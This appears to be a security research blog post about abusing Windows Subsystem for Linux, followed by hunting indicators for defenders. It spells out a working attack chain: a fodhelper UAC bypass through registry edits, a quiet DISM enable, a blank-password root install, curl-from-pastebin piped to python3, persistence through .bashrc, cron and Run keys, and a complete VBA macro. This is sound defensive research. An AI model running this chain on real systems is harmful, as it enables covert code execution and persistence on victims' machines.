Hunting for Windows Subsystem for Linux
Over the last year, Microsoft has gradually developed and released a new, integrated Linux feature within Windows 10. While this feature is still disabled by default, it recently transitioned from a “beta” feature to a “production” feature in the latest Fall Creators Update (1709).
At F-Secure, we love nothing more than testing the latest attack vectors and Linux integration seemed to add a significant new attack surface. This post will build on previous work by Alex Ionescu [1] and Check Point [2] and demonstrate how it is possible to enable and exploit the new Linux feature to execute code and persist on a system.
Disabled by default
The Windows Subsystem for Linux (WSL) is disabled by default. In practice this means that core files needed for exploitation – such as the WSL drivers, lxrun.exe and bash.exe – are not present on the system.
So how can we get these files on the system?
Windows “features” can be managed using the Deployment Image Servicing and Management (DISM) utility, which is built into Windows. An example showing status retrieval and enabling/disabling for WSL is shown below (lookout for the restart prompt!):
dism /online /Get-FeatureInfo /FeatureName:Microsoft-Windows-Subsystem-Linux dism /online /Enable-Feature /FeatureName:Microsoft-Windows-Subsystem-Linux dism /online /Disable-Feature /FeatureName:Microsoft-Windows-Subsystem-Linux
Once a feature is enabled, if required, DISM will prompt you to restart. When the system next starts up the new feature will be downloaded and installed. For WSL, this means that the core files including lxrun and bash will be installed. As an aside, it should also be possible to manually edit the registry keys to enable features, as opposed to using DISM.
Testing this, you may notice there are some challenges from an exploitation point of view. First of all, administrative access is required. If this user does not have local admin, it’s game over. If the user does have local admin you will still have to bypass UAC in order to run DISM, but this isn’t that difficult as we’ll demonstrate later.
The other challenge is the text box showing text and requiring user interaction. There are a number of different techniques that can work for hiding the DISM window, but an easy solution is to simply supply the “/quiet” flag to DISM. This will hide output and auto-acknowledge any prompts, including the restart!
Combining this with a little UAC bypass magic we get:
reg add HKCU\Software\Classes\ms-settings\shell\open\command /t REG_SZ /d "C:\Windows\System32\dism.exe /online /Enable-Feature /FeatureName:Microsoft-Windows-Subsystem-Linux /quiet" && reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ && fodhelper
Executing this from a cmd for example will enable WSL.
Let’s run Linux!
With Linux now installed you may be thinking you can just start using it; unfortunately, there is still a setup process that needs to be completed. In the latest Fall Creators Update, Microsoft is trying to get users to install Linux from the Windows Store:
This process also involves manual creation of users and root password.
However, it is still possible to use lxrun to complete a fully automated installation that will create a root user with blank password. Use of the “/install” and “/y” flags will automate this.
With Linux now installed it’s possible to execute commands using bash.
Obviously, “echo test” is a bit rubbish. How about we execute a remote payload from pastebin instead?
Using a payload of “ls /mnt/c/Users” we were successfully able to display users. Although a simple example you may notice the similarities here with Powershell download cradles that are widely used in real world attacks.
Linux payloads and persistence?
With code execution, the sky is the limit at this stage, but I wanted to demonstrate how this attack could be operationalized in a slightly sexier way. Bash as a utility works for simple examples, but you are somewhat limited in what you can do. It turns out the default Linux VM comes with Python3 installed, so we could get Python to execute a remote payload, avoiding the use of Windows binaries, PowerShell or the need to drop binaries.
For example, the below will execute calc:
curl -s https://pastebin.com/raw/a87FNrGu |python3
Using a remote payload of:
from subprocess import call; call(["calc.exe"])
Another interesting feature of WSL is persistence. In theory, you should be able to use any of the standard Linux persistence mechanisms (services, kernel modules, init scripts or Cron jobs) to execute code whenever bash is started.
The simplest approach would be to drop the curl one-liner in a file, chmod, then execute it from Windows with:
bash -c "echo 'curl -s https://pastebin.com/raw/a87FNrGu |python3' > /etc/myscript && chmod 755 /etc/myscript && /etc/myscript"
And once dropped you could just execute the following using a standard Windows persistence entry:
bash -c "/etc/myscript"
To avoid dropping files you could also use Cron:
bash -c "echo '*/1 * * * * curl -s https://pastebin.com/raw/a87FNrGu |python3' | crontab - && /etc/init.d/cron start && sleep 60"
In Windows bash, the Cron service isn’t actually enabled by default. I found I would need to enable it every time I called bash; however, the Cron jobs themselves are persistent, so once installed you could just call bash –c “/etc/init.d/cron start && sleep 60”.
Probably the most effective technique I tested was the use of a bash rc script. By simply appending my Python one-liner to /root/.bashrc any time bash was started, my code would execute. So from a Windows perspective the persistence would need to just start bash.exe.
For installation:
bash -c "echo 'curl –s https://pastebin.com/raw/a87FNrGu |python3 && exit' >> /root/.bashrc"
For persistence in Windows:
cmd /c start /min bash
No files dropped, no local payloads, minimal Windows footprint. All in all, a pretty sweet technique.
The one caveat with this technique is that you will no longer be able to access the bash console due to the exit command. This shouldn’t matter in most instances, but it’s something to be aware of.
(Also if you want to edit this file you can actually access it at C:\Users\<USER>\AppData\Local\lxss\root\.bashrc)
Macro Time
In this post I’ve covered lots of individual techniques. However, you could easily draw these things together to create a full attack chain.
In a simple attack, you could build a macro payload (or equivalent) to run the UAC bypass to enable Linux. But before you execute this, you also want to drop a registry key (or equivalent) so that once the machine restarts it will execute lxrun to install Linux, drop persistence and execute bash.
Something like this:
Sub install_wsl() Const HKEY_CURRENT_USER = &H80000001 strComputer = "." Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv") 'Create RunOnce to install Linux and Linux persistence strKeyPath = "Software\Microsoft\Windows\CurrentVersion\RunOnce" strValueName = "WSL Update" dwValue = "cmd /c lxrun /install /y & bash -c ""echo 'curl -s https://pastebin.com/raw/a87FNrGu |python3 && exit' >> /root/.bashrc"" & reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /t REG_SZ /v ""Bash Task"" /d ""cmd /c start /min bash"" & start /min bash" objRegistry.SetStringValue HKEY_CURRENT_USER, strKeyPath, strValueName, dwValue 'Install WSL using fodhelper UAC bypass strKeyPath = "Software\Classes\ms-settings\shell\open\command" objRegistry.CreateKey HKEY_CURRENT_USER, strKeyPath strValueName = "" dwValue = "cmd /c start /min dism.exe /online /Enable-Feature /FeatureName:Microsoft-Windows-Subsystem-Linux /quiet" objRegistry.SetStringValue HKEY_CURRENT_USER, strKeyPath, strValueName, dwValue strKeyPath = "Software\Classes\ms-settings\shell\open\command" objRegistry.CreateKey HKEY_CURRENT_USER, strKeyPath strValueName = "DelegateExecute" dwValue = "" objRegistry.SetStringValue HKEY_CURRENT_USER, strKeyPath, strValueName, dwValue process = "cmd /c fodhelper" Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = 0 Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") objProcess.Create process, Null, objConfig, intProcessID End Sub
OPSEC-wise, this could be improved by not using a known autorun, not triggering the feature restart immediately, avoiding new processes, etc, but I’ll leave this as an exercise for the reader.
Hunting For WSL
With WSL being legitimate functionality and only recently released, most antivirus and EDR tools are going to struggle to detect/prevent these kinds of attacks. That said, if you have access to raw data you should be able to detect a number of suspicious activities, including:
- Dism.exe usage to install Linux
- UAC bypass usage
- Lxrun.exe usage with the automatic install
- Bash.exe spawning suspicious processes
- Bash.exe creating outbound network connections
- Bash.exe creating files
- Persistence entries being added by Microsoft Office
- Persistence involving bash.exe
When running hunts at Countercept we’ve found DISM, lxrun, and bash usage to be pretty uncommon, making these indicators reasonably reliable.
You may also be wondering about the processes within Linux, like cURL and Python, don’t they create new processes? Interestingly, they do, and these are known as “Pico” processes. However, as Pico processes are effectively ELF containers, Windows doesn’t support the ability to show properties for these. As an example, Sysinternals output for Python is shown below:
As you can see there is no path, no command line arguments, and no parent making analysis difficult. ETW output also failed to display these fields. Hopefully, Microsoft will add better support in the future, but for now it’s definitely a limitation defenders should be aware of.
Conclusion
Linux in Windows is an awesome new feature that brings the power of Linux to everyday Windows users. But as with any new Windows feature, if it can be abused, it probably will be. Although there have been no public reports of “in-the-wild” attacks so far, it’s likely only a matter of time.
As always, organizations should have controls in place to manage what users are able to run. Blocking the use of DISM, lxrun, and bash would prevent an attacker from misusing them. Threat hunters – in some ways – have it easy right now as there should be very little activity related to these tools. The challenge, however, is getting visibility of WSL internals, which for now will still remain as something of a black box.
References
[1] https://www.youtube.com/watch?v=_p3RtkwstNk
[2] https://research.checkpoint.com/beware-bashware-new-method-malware-bypass-security-solutions/
Categories